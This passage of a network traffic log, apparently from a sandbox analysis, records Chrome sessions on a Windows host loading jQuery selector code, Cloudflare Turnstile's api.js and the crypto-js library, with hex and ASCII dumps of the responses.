n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49719	104.18.94.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:27 UTC	646	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ko.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:27 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 16:18:27 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/849bfe45bf45/api.js Server: cloudflare CF-RAY: 8fed80ec2edc5e78-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49721	104.18.94.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:28 UTC	645	OUT	GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ko.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:28 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:28 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Thu, 02 Jan 2025 13:52:36 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8fed80f01d1d43b1-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:28 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49722	104.17.24.14	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:28 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:28 UTC	963	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:28 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 10919 Expires: Mon, 29 Dec 2025 16:18:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CBKYFAKefccu%2FH08wHl6opn%2F0%2FoRap83JspuDhvqKX%2BZ9WA4WFlKYMRbXzn%2BMN%2BM4vLAvp8EF7x8ehQBwgE5TIh4k8o9UlimeUcqG4lWxlyPkUHqhuDCHq11lc2ssKQBBvDR2A7W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8fed80f04ccc43b7-EWR alt-svc: h3=":443"; ma=86400
